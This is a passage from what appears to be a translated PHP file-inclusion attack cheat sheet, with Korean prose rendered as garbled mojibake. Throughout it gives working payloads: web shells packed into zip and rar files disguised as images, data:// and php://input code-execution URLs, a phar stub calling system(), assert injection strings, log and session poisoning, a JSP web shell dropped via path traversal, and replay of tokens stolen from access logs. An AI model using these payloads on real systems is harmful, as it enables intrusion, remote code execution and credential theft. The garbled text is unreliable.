a์ธ์ง ์์๋ด๋ ค๋ฉด ์ด ์ฝ๋ฑ์ 6๋ฒ ์ ์ฉํ๋ฉด a->b->c->d->e->f->g ๋์ด ํด๋น ๋ฌธ์๊ฐ ๋ ์ด์ hexadecimal ๋ฌธ์๊ฐ ์๋๊ฒ ๋๊ณ , ๋ฐ๋ผ์ dechunk๊ฐ ์ญ์ ํ์ง ์์ php ์ค๋ฅ๊ฐ ์ด๊ธฐ ํญํ๊ณผ ๊ฒฐํฉํด ํธ๋ฆฌ๊ฑฐ๋๋ค. - ์ฒ์์ rot13 ๊ฐ์ ๋ณํ์ ์ ์ฉํ๋ฉด n, o, p, q, r ๊ฐ์ ๋ค๋ฅธ ๋ฌธ์๋ฅผ leakํ ์ ์๋ค(๊ทธ๋ฆฌ๊ณ ๋ค๋ฅธ codecs๋ฅผ ์ฌ์ฉํด ๋ค๋ฅธ ๋ฌธ์๋ค์ hex ๋ฒ์๋ก ์ด๋์ํฌ ์ ์๋ค).
- ์ด๊ธฐ ๋ฌธ์๊ฐ ์ซ์์ธ ๊ฒฝ์ฐ์๋ base64๋ก ์ธ์ฝ๋ฉํ๊ณ ์ฒ์ ๋ ๊ธ์๋ฅผ leakํด์ ์ซ์๋ฅผ leakํด์ผ ํ๋ค.
- ์ต์ข ๋ฌธ์ ๋ ์ด๊ธฐ ๋ฌธ์๋ณด๋ค ๋ ๋ง์ ๊ฒ์ leakํ๋ ๋ฐฉ๋ฒ์ ์ฐพ๋ ๊ฒ์ด๋ค. ์์ ๋ณ๊ฒฝ memory filters๋ค์ธ convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ๋ฑ์ ์ฌ์ฉํ๋ฉด ๋ฌธ์๋ค์ ์์๋ฅผ ๋ณ๊ฒฝํ์ฌ ํ ์คํธ์ ๋ค๋ฅธ ๋ฌธ์๋ฅผ ์ฒซ ์์น๋ก ๊ฐ์ ธ์ฌ ์ ์๋ค.
- ๊ทธ๋ฆฌ๊ณ ๋ ๋ง์ ๋ฐ์ดํฐ๋ฅผ ์ป๊ธฐ ์ํด ์์ด๋์ด๋ convert.iconv.UTF16.UTF16์ผ๋ก ์์ ๋ถ๋ถ์ 2 bytes of junk data๋ฅผ ์์ฑํ๊ณ , UCS-4LE๋ฅผ ์ ์ฉํด ๊ทธ๊ฒ์ด ๋ค์ 2๋ฐ์ดํธ์ pivotํ๊ฒ ๋ง๋ ๋ค์, and delete the data until the junk data (์ด๊ฒ์ ์ด๊ธฐ ํ ์คํธ์ ์ฒซ 2๋ฐ์ดํธ๋ฅผ ์ ๊ฑฐํ๋ค). ์ํ๋ ๋นํธ๋ฅผ leakํ ๋๊น์ง ์ด ๊ณผ์ ์ ๋ฐ๋ณตํ๋ค.
In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.
php://fd
์ด wrapper๋ ํ๋ก์ธ์ค๊ฐ ์ด์ด๋ file descriptor์ ์ ๊ทผํ ์ ์๊ฒ ํด์ค๋ค. ์ด๋ฆฐ ํ์ผ์ ๋ด์ฉ์ exfiltrateํ๋ ๋ฐ ์ ์ฌ์ ์ผ๋ก ์ ์ฉํ๋ค:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
๋ํ php://stdin, php://stdout and php://stderr ๋ฅผ ์ฌ์ฉํด ๊ฐ๊ฐ file descriptors 0, 1 and 2์ ์ ๊ทผํ ์ ์์ต๋๋ค(๊ณต๊ฒฉ์์ ์ด๋ป๊ฒ ์ ์ฉํ ์ง๋ ์ ๋ชจ๋ฅด๊ฒ ์ต๋๋ค)
zip:// and rar://
PHPShell์ด ๋ค์ด์๋ Zip ๋๋ Rar ํ์ผ์ ์
๋ก๋ํ๊ณ ์ ๊ทผํฉ๋๋ค.
rar protocol์ ์
์ฉํ๋ ค๋ฉด ๋ณ๋๋ก ํ์ฑํ๋์ด์ผ ํฉ๋๋ค.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
์ด ํ๋กํ ์ฝ์ php ์ค์ allow_url_open ๋ฐ **allow_url_include**์ ์ํด ์ ํ๋๋ค๋ ์ ์ ์ ์ํ์ธ์.
expect://
Expect๋ ํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค. ๋ค์์ ์ฌ์ฉํด ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST ํ๋ผ๋ฏธํฐ์ payload๋ฅผ ์ง์ ํ์ธ์:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
์น ์ ํ๋ฆฌ์ผ์ด์
์ด ํ์ผ ๋ก๋๋ฅผ ์ํด include ๊ฐ์ ํจ์๋ฅผ ์ฌ์ฉํ ๋ .phar ํ์ผ์ ์ด์ฉํด PHP ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์๋ PHP ์ฝ๋ ์ค๋ํซ์ .phar ํ์ผ์ ์์ฑํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar ํ์ผ์ ์ปดํ์ผํ๋ ค๋ฉด, ๋ค์ ๋ช
๋ น์ ์คํํด์ผ ํฉ๋๋ค:
php --define phar.readonly=0 create_path.php
์คํํ๋ฉด test.phar๋ผ๋ ํ์ผ์ด ์์ฑ๋๋ฉฐ, ์ด๋ Local File Inclusion (LFI) ์ทจ์ฝ์ ์ ์ด์ฉํ๋ ๋ฐ ์
์ฉ๋ ์ ์์ต๋๋ค.
LFI๊ฐ ๋ด๋ถ์ PHP ์ฝ๋๋ฅผ ์คํํ์ง ์๊ณ file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ๋๋ filesize() ๊ฐ์ ํจ์๋ก ํ์ผ ์ฝ๊ธฐ๋ง ์ํํ๋ ๊ฒฝ์ฐ, phar ํ๋กํ ์ฝ์ ์ด์ฉํ ํ์ผ ์ฝ๊ธฐ์ ์ฐ๊ด๋ deserialization vulnerability๋ฅผ ์๋ํด๋ณผ ์ ์์ต๋๋ค.
์์ธํ ๋ด์ฉ์ ๋ณด๋ ค๋ฉด ์๋ ๋ฌธ์๋ฅผ ์ฐธ์กฐํ์ธ์:
Phar Deserialization Exploitation Guide
CVE-2024-2961
PHP์์ php filters๋ฅผ ์ง์ํ๋ any arbitrary file read from PHP that supports php filters๋ฅผ ์
์ฉํ์ฌ RCE๋ฅผ ์ป์ ์ ์์์ต๋๋ค. The detailed description can be found in this post.
๋งค์ฐ ๊ฐ๋จํ ์์ฝ: PHP ํ์ 3 byte overflow๋ฅผ ์
์ฉํด ํน์ ํฌ๊ธฐ์ free chunk ์ฒด์ธ์ alter the chain of free chunksํ๋๋ก ์กฐ์ํ์ฌ ์์์ ์ฃผ์์ write anything in any address๊ฐ ๊ฐ๋ฅํด์ก๊ณ , ๊ทธ ๊ฒฐ๊ณผ **system**์ ํธ์ถํ๋ ํ
์ด ์ถ๊ฐ๋์์ต๋๋ค.
์ถ๊ฐ์ ์ธ php filters๋ฅผ ์
์ฉํด ํน์ ํฌ๊ธฐ์ chunk๋ฅผ allocํ๋ ๊ฒ์ด ๊ฐ๋ฅํ์ต๋๋ค.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp โ ๋ฉ๋ชจ๋ฆฌ๋ ์์ ํ์ผ์ ์ฐ๊ธฐ(ํ์ผ ํฌํจ ๊ณต๊ฒฉ์์ ์ด๋ป๊ฒ ์ ์ฉํ ์ง๋ ์ ๋ชจ๋ฅด๊ฒ ์)
- file:// โ ๋ก์ปฌ ํ์ผ์์คํ ์ ๊ทผ
- http:// โ HTTP(s) URL ์ ๊ทผ
- ftp:// โ FTP(s) URL ์ ๊ทผ
- zlib:// โ ์์ถ ์คํธ๋ฆผ
- glob:// โ ํจํด๊ณผ ์ผ์นํ๋ ๊ฒฝ๋ก๋ช ์ฐพ๊ธฐ(์ถ๋ ฅ ๊ฐ๋ฅํ ๋ด์ฉ์ ๋ฐํํ์ง ์์ผ๋ฏ๋ก ์ฌ๊ธฐ์๋ ๋ณ๋ก ์ ์ฉํ์ง ์์)
- ssh2:// โ Secure Shell 2
- ogg:// โ ์ค๋์ค ์คํธ๋ฆผ(์์์ ํ์ผ์ ์ฝ๋ ๋ฐ๋ ์ ์ฉํ์ง ์์)
LFI via PHPโs โassertโ
PHP์์ ๋ฌธ์์ด ๋ด ์ฝ๋๋ฅผ ์คํํ ์ ์๋ โassertโ ํจ์๋ฅผ ๋ค๋ฃฐ ๋ Local File Inclusion (LFI)์ ์ํ์ด ํนํ ํฝ๋๋ค. ์ ๋ ฅ๊ฐ์ โ..โ ๊ฐ์ directory traversal ๋ฌธ์๊ฐ ํฌํจ๋์ด ์๋์ง ๊ฒ์ฌํ์ง๋ง ์ ๋๋ก ์ ํ(sanitize)ํ์ง ์๋ ๊ฒฝ์ฐ ํนํ ๋ฌธ์ ๊ฐ ๋ฉ๋๋ค.
์๋ฅผ ๋ค์ด, PHP ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ด directory traversal์ ๋ฐฉ์งํ๋๋ก ์ค๊ณ๋ ์ ์์ต๋๋ค:
assert("strpos('$file', '..') === false") or die("");
์ด๊ฒ์ด traversal์ ์ฐจ๋จํ๋ ค๋ ๋ชฉ์ ์ด์ง๋ง, ์๋์น ์๊ฒ code injection์ ์ํ ๋ฒกํฐ๋ฅผ ๋ง๋ญ๋๋ค. ํ์ผ ๋ด์ฉ์ ์ฝ๊ธฐ ์ํด ์ด๋ฅผ ์ ์ฉํ๋ ค๋ฉด ๊ณต๊ฒฉ์๋ ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
' and die(highlight_file('/etc/passwd')) or '
๋ง์ฐฌ๊ฐ์ง๋ก, ์์์ ์์คํ ๋ช ๋ น์ ์คํํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์๋ค:
' and die(system("id")) or '
Itโs important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
์ด ๊ธฐ์ ์ ๋น์ ์ด PHP ํจ์์ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ ์ดํ์ง๋ง ํด๋น ํ์ผ์ ๋ด์ฉ์ ๋ณผ ์ ์๋ ๊ฒฝ์ฐ(์: ๋จ์ํ ํธ์ถ **
file()**์ฒ๋ผ ํ์ผ์ ์ ๊ทผํ์ง๋ง ๋ด์ฉ์ด ํ์๋์ง ์๋ ๊ฒฝ์ฐ)์ ๊ด๋ จ์ด ์์ต๋๋ค.
In this incredible post itโs explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
์์ฝํ๋ฉด, ์ด ๊ธฐ๋ฒ์ ํ์ผ ๋ด์ฉ์ ๋งค์ฐ ํฐ ํฌ๊ธฐ๋ก ๋ง๋ค๊ธฐ ์ํด โUCS-4LEโ encoding์ ์ฌ์ฉํ์ฌ ํ์ผ์ ์ฌ๋ PHP ํจ์๊ฐ error๋ฅผ ๋ฐ์์ํค๋๋ก ํฉ๋๋ค.
๊ทธ ๋ค์ ์ฒซ ๊ธ์๋ฅผ leakํ๊ธฐ ์ํด ํํฐ dechunk ๋ฅผ base64 ๋๋ rot13 ๊ฐ์ ๋ค๋ฅธ ํํฐ๋ค๊ณผ ํจ๊ป ์ฌ์ฉํ๊ณ , ๋ง์ง๋ง์ผ๋ก ํํฐ convert.iconv.UCS-4.UCS-4LE ๋ฐ convert.iconv.UTF16.UTF-16BE ๋ฅผ ์ฌ์ฉํ์ฌ ๋ฌธ์๋ค์ ๋งจ ์์ ๋ฐฐ์นํ๊ณ leak ํฉ๋๋ค.
์ทจ์ฝํ ์ ์๋ ํจ์๋ค: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
๊ธฐ์ ์ ์ธ ์ธ๋ถ์ฌํญ์ ์์ ์ธ๊ธํ ํฌ์คํธ๋ฅผ ํ์ธํ์ธ์!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
ํ์ผ์ ์์ /์
๋ก๋ํ๋ ์๋ฒ์ธก ์ฝ๋๊ฐ ๋ชฉ์ ์ง ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉ์ ์ ์ด ๋ฐ์ดํฐ(์: ํ์ผ๋ช
๋๋ URL)๋ฅผ ์ฌ์ฉํ์ฌ canonicalising ๋ฐ ๊ฒ์ฆ ์์ด ๊ตฌ์ฑํ๋ฉด, .. ์ธ๊ทธ๋จผํธ์ ์ ๋ ๊ฒฝ๋ก๋ก ์๋๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ฒ์ด๋ ์์ ํ์ผ ์ฐ๊ธฐ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- ์๋ํฌ์ธํธ ๋๋ ๋ฐฑ๊ทธ๋ผ์ด๋ ์์ปค์์ ๊ฒฝ๋ก/ํ์ผ๋ช ์ ๋ฐ์ ๋์คํฌ์ ๋ด์ฉ์ ๊ธฐ๋กํ๋ write primitive๋ฅผ ์๋ณํฉ๋๋ค (์: message-driven ingestion, XML/JSON command handlers, ZIP extractors ๋ฑ).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/โ dropshell.jsp - IIS:
C:\inetpub\wwwroot\โ dropshell.aspx - ์๋๋ ์ ์ฅ ๋๋ ํฐ๋ฆฌ์์ webroot๋ก ๋น ์ ธ๋์ค๋๋ก ํ๋ traversal ๊ฒฝ๋ก๋ฅผ ๊ตฌ์ฑํ๊ณ webshell ๋ด์ฉ์ ํฌํจ์ํต๋๋ค.
- ์ ๋ก๋๋ payload์ ์ ์ํด ๋ช ๋ น์ ์คํํฉ๋๋ค.
Notes:
- ์ฐ๊ธฐ ์์ ์ ์ํํ๋ ์ทจ์ฝ ์๋น์ค๋ ๋น-HTTP ํฌํธ์์ ๋ฆฌ์ค๋ํ ์ ์์ต๋๋ค(์: TCP 4004์ JMF XML listener). ๋ฉ์ธ ์น ํฌํธ(๋ค๋ฅธ ํฌํธ)์ ๋์ค์ ๋น์ ์ payload๋ฅผ ์ ๊ณตํ ๊ฒ์ ๋๋ค.
- Java ์คํ์์๋ ์ด๋ฌํ ํ์ผ ์ฐ๊ธฐ๊ฐ ๋ณดํต ๊ฐ๋จํ
File/Paths์ฐ๊ฒฐ๋ก ๊ตฌํ๋ฉ๋๋ค. ์ ๊ทํ(canonicalisation) ๋ฐ ํ์ฉ ๋ชฉ๋ก(allow-listing)์ ๋ถ์ฌ๊ฐ ํต์ฌ ๊ฒฐํจ์ ๋๋ค.
Generic XML/JMF-style example (product schemas vary โ the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
์ด ํด๋์ค์ ๋ฒ๊ทธ๋ฅผ ๋ฌด๋ ฅํํ๋ ํ๋๋:
- ์ ๊ทํ๋(canonical) ๊ฒฝ๋ก๋ก ํด์ํ๊ณ ๊ทธ ๊ฒฝ๋ก๊ฐ ํ์ฉ ๋ชฉ๋ก์ ๋ฑ์ฌ๋ ๊ธฐ๋ณธ ๋๋ ํฐ๋ฆฌ์ ํ์์ธ์ง ๊ฐ์ ํ๋ค.
.., ์ ๋ ๋ฃจํธ, ๋๋ ๋๋ผ์ด๋ธ ๋ฌธ์๊ฐ ํฌํจ๋ ๊ฒฝ๋ก๋ ๊ฑฐ๋ถํ๋ค; ์์ฑ๋ ํ์ผ๋ช ์ ์ ํธํ๋ค.- writer๋ฅผ ์ ๊ถํ ๊ณ์ ์ผ๋ก ์คํํ๊ณ ์ฐ๊ธฐ ๋๋ ํฐ๋ฆฌ๋ฅผ ์๋น์ค ๋ฃจํธ์ ๋ถ๋ฆฌํ๋ค.
Remote File Inclusion
์์ ์ค๋ช ๋จ, follow this link.
Apache/Nginx ๋ก๊ทธ ํ์ผ์ ํตํด
Apache ๋๋ Nginx ์๋ฒ๊ฐ include ํจ์ ๋ด๋ถ์์ vulnerable to LFIํ ๊ฒฝ์ฐ, **/var/log/apache2/access.log or /var/log/nginx/access.log**์ ์ ๊ทผ์ ์๋ํ๊ณ user agent ๋๋ GET parameter์ <?php system($_GET['c']); ?> ๊ฐ์ php ์์ ๋ฃ์ ๋ค ๊ทธ ํ์ผ์ includeํ ์ ์๋ค
Warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string โquote;โ, PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you wonโt have a second opportunity.
์ด ๋ฐฉ๋ฒ์ ๋ค๋ฅธ ๋ก๊ทธ์์๋ ๊ฐ๋ฅํ์ง๋ง ์ฃผ์ํ ๊ฒ, ๋ก๊ทธ ๋ด๋ถ์ ์ฝ๋๋ URL encoded ๋์ด ์์ ์ ์์ด ์์ด ๋ง๊ฐ์ง ์ ์๋ค. ํค๋ **authorisation โbasicโ**์๋ โuser:passwordโ๊ฐ Base64๋ก ํฌํจ๋๋ฉฐ ๋ก๊ทธ ๋ด๋ถ์์ ๋์ฝ๋๋๋ค. PHPShell์ ์ด ํค๋ ์์ ์ฝ์
๋ ์ ์๋ค.
๋ค๋ฅธ ๊ฐ๋ฅํ ๋ก๊ทธ ๊ฒฝ๋ก:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
์ก์ธ์ค ๋ก๊ทธ๋ฅผ ์ฝ์ด GET-based auth tokens (token replay) ์์ง
๋ง์ ์ฑ์ด GET์ ํตํด session/auth tokens๋ฅผ ์๋ชป ์์ฉํฉ๋๋ค (์: AuthenticationToken, token, sid). web server logs์ ๋ํ path traversal/LFI primitive๊ฐ ์๋ค๋ฉด, access logs์์ ํด๋น ํ ํฐ์ ํ์ณ ์ฌ์ฌ์ฉ(replay)ํ์ฌ authentication์ ์์ ํ ์ฐํํ ์ ์์ต๋๋ค.
How-to:
- traversal/LFI๋ฅผ ์ฌ์ฉํด web server access log๋ฅผ ์ฝ์ผ์ธ์. ์ผ๋ฐ์ ์ธ ์์น:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- ์ผ๋ถ endpoints๋ ํ์ผ ์ฝ๊ธฐ ๊ฒฐ๊ณผ๋ฅผ Base64-encoded๋ก ๋ฐํํฉ๋๋ค. ๊ทธ๋ฐ ๊ฒฝ์ฐ ๋ก์ปฌ์์ ๋์ฝ๋ํ๊ณ ๋ก๊ทธ ๋ผ์ธ์ ๊ฒ์ฌํ์ธ์.
- Grep์ผ๋ก GET ์์ฒญ ์ค token parameter๋ฅผ ํฌํจํ ํญ๋ชฉ์ ์ฐพ์ ๊ฐ์ ์ถ์ถํ ๋ค, ์ด๋ฅผ application entry point์ replayํ์ธ์.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
๋ณธ๋ฌธ์ด Base64์ธ ๊ฒฝ์ฐ ๋์ฝ๋ํ ๋ค์, ์บก์ฒํ token์ ์ฌ์ฌ์ฉํ์ธ์:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
์ฐธ๊ณ :
- Tokens in URLs๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ก๊ทธ์ ๊ธฐ๋ก๋ฉ๋๋ค. ์ด์ ์์คํ ์์๋ bearer tokens๋ฅผ GET์ผ๋ก ์ ๋ ๋ฐ์ง ๋ง์ธ์.
- ์ฑ์ด ์ฌ๋ฌ token ์ด๋ฆ์ ์ง์ํ๋ฉด AuthenticationToken, token, sid, access_token ๊ฐ์ ์ผ๋ฐ์ ์ธ ํค๋ฅผ ์ฐพ์๋ณด์ธ์.
- ๋ก๊ทธ์ leaked๋์์ ๊ฐ๋ฅ์ฑ์ด ์๋ tokens๋ ์ฆ์ rotate(๊ต์ฒด)ํ์ธ์.
์ด๋ฉ์ผ์ ํตํด
๋ฉ์ผ ๋ณด๋ด๊ธฐ: ๋ด๋ถ ๊ณ์ (user@localhost)์ผ๋ก <?php echo system($_REQUEST["cmd"]); ?> ๊ฐ์ PHP payload๋ฅผ ํฌํจํ ๋ฉ์ผ์ ๋ณด๋ด๊ณ , ์ฌ์ฉ์ ๋ฉ์ผ์ includeํ ์ ์๋ ๊ฒฝ๋ก(/var/mail/<USERNAME> ๋๋ /var/spool/mail/<USERNAME>)๋ฅผ ์๋ํ์ธ์.
/proc/*/fd/*๋ฅผ ํตํด
- ๋ง์ shells๋ฅผ ์ ๋ก๋ํ์ธ์(์: 100)
- http://example.com/index.php?page=/proc/$PID/fd/$FD๋ฅผ includeํ์ธ์. ์ฌ๊ธฐ์ $PID๋ ํ๋ก์ธ์ค์ PID (can be brute forced)์ด๊ณ , $FD๋ ํ์ผ ๋์คํฌ๋ฆฝํฐ (can be brute forced too)์ ๋๋ค.
/proc/self/environ๋ฅผ ํตํด
๋ก๊ทธ ํ์ผ์ฒ๋ผ, User-Agent์ payload๋ฅผ ๋ณด๋ด๋ฉด /proc/self/environ ํ์ผ์ ๋ฐ์๋ฉ๋๋ค.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
์ ๋ก๋๋ฅผ ํตํด
ํ์ผ์ ์
๋ก๋ํ ์ ์๋ค๋ฉด, ๋จ์ํ shell payload๋ฅผ ๊ทธ ์์ ์ฃผ์
ํ์ธ์ (์: <?php system($_GET['c']); ?> ).
http://example.com/index.php?page=path/to/uploaded/file.png
ํ์ผ์ ์ฝ๊ธฐ ์ฝ๊ฒ ์ ์งํ๋ ค๋ฉด pictures/doc/pdf์ ๋ฉํ๋ฐ์ดํฐ์ ์ฃผ์ ํ๋ ๊ฒ์ด ๊ฐ์ฅ ์ข์ต๋๋ค
Zip ํ์ผ ์ ๋ก๋๋ฅผ ํตํด
์์ถ๋ PHP shell์ด ํฌํจ๋ ZIP ํ์ผ์ ์ ๋ก๋ํ ๋ค ์ ๊ทผ:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP ์ธ์ ์ ํตํด
์น์ฌ์ดํธ๊ฐ PHP Session (PHPSESSID)์ ์ฌ์ฉํ๋์ง ํ์ธํ์ธ์.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP์์๋ ์ด๋ฌํ ์ธ์ ์ด /var/lib/php5/sess\[PHPSESSID]_ ํ์ผ์ ์ ์ฅ๋ฉ๋๋ค
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
cookie๋ฅผ <?php system('cat /etc/passwd');?>๋ก ์ค์ ํ์ธ์.
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFI๋ฅผ ์ฌ์ฉํด PHP ์ธ์ ํ์ผ์ ํฌํจํ์ธ์
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh๋ฅผ ํตํด
ssh๊ฐ ํ์ฑํ๋์ด ์๋ค๋ฉด ์ด๋ค ์ฌ์ฉ์๊ฐ ์ฌ์ฉ ์ค์ธ์ง (/proc/self/status & /etc/passwd) ํ์ธํ๊ณ <HOME>/.ssh/id_rsa์ ์ ๊ทผํด ๋ณด์ธ์
๋ฅผ ํตํด vsftpd logs
FTP ์๋ฒ vsftpd์ ๋ก๊ทธ๋ _/var/log/vsftpd.log_์ ์์นํฉ๋๋ค. Local File Inclusion (LFI) ์ทจ์ฝ์ ์ด ์กด์ฌํ๊ณ ๋ ธ์ถ๋ vsftpd ์๋ฒ์ ์ ๊ทผํ ์ ์๋ ๊ฒฝ์ฐ, ๋ค์ ์ ์ฐจ๋ฅผ ๊ณ ๋ คํ ์ ์์ต๋๋ค:
- ๋ก๊ทธ์ธ ๊ณผ์ ์์ username ํ๋์ PHP payload๋ฅผ ์ฃผ์ ํ์ธ์.
- ์ฃผ์ ํ LFI๋ฅผ ์ด์ฉํด ์๋ฒ ๋ก๊ทธ _/var/log/vsftpd.log_๋ฅผ ๊ฐ์ ธ์ค์ธ์.
php base64 filter (base64 ์ฌ์ฉ)
this article์ ๋์จ ๊ฒ์ฒ๋ผ, PHP base64 filter๋ Non-base64๋ฅผ ๋ฌด์ํฉ๋๋ค. ์ด๋ฅผ ์ด์ฉํด ํ์ผ ํ์ฅ์ ์ฒดํฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค: base64๊ฐ โ.phpโ๋ก ๋๋๋๋ก ๊ณต๊ธํ๋ฉด, filter๋ โ.โ๋ฅผ ๋ฌด์ํ๊ณ base64์ โphpโ๋ฅผ ๋ถ์ ๋๋ค. ์์ payload๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
php filters๋ฅผ ํตํ ๋ฐฉ๋ฒ (ํ์ผ ํ์ ์์)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
segmentation fault๋ฅผ ํตํ ๋ฐฉ๋ฒ
ํ์ผ์ ์
๋ก๋ํ๋ฉด /tmp์ ์์๋ก ์ ์ฅ๋๋๋ฐ, ๊ฐ์ ์์ฒญ์์ segmentation fault๋ฅผ ์ ๋ฐํ๋ฉด ์์ ํ์ผ์ด ์ญ์ ๋์ง ์์ ํด๋น ํ์ผ์ ์ฐพ์ ์ ์์ต๋๋ค.
LFI2RCE via Segmentation Fault
Nginx ์์ ํ์ผ ์ ์ฅ์๋ฅผ ํตํ ๋ฐฉ๋ฒ
๋ง์ฝ Local File Inclusion๋ฅผ ๋ฐ๊ฒฌํ๊ณ Nginx๊ฐ PHP ์์์ ๋์ํ๋ค๋ฉด, ๋ค์ ๊ธฐ๋ฒ์ผ๋ก RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
PHP_SESSION_UPLOAD_PROGRESS๋ฅผ ํตํ ๋ฐฉ๋ฒ
์ธ์
์ด ์๊ณ session.auto_start๊ฐ Off์ธ ์ํ์์๋ Local File Inclusion์ ๋ฐ๊ฒฌํ๋ค๋ฉด, multipart POST ๋ฐ์ดํฐ์ **PHP_SESSION_UPLOAD_PROGRESS**๋ฅผ ์ ๊ณตํ๋ฉด PHP๊ฐ ์ธ์
์ ์๋์ผ๋ก ํ์ฑํํฉ๋๋ค. ์ด๋ฅผ ์
์ฉํด RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Windows์ ์์ ํ์ผ ์ ๋ก๋๋ฅผ ํตํ ๋ฐฉ๋ฒ
๋ง์ฝ Local File Inclusion์ ๋ฐ๊ฒฌํ๊ณ ์๋ฒ๊ฐ Windows์์ ๋์ํ๋ค๋ฉด RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
pearcmd.php + URL args๋ฅผ ํตํ ๋ฐฉ๋ฒ
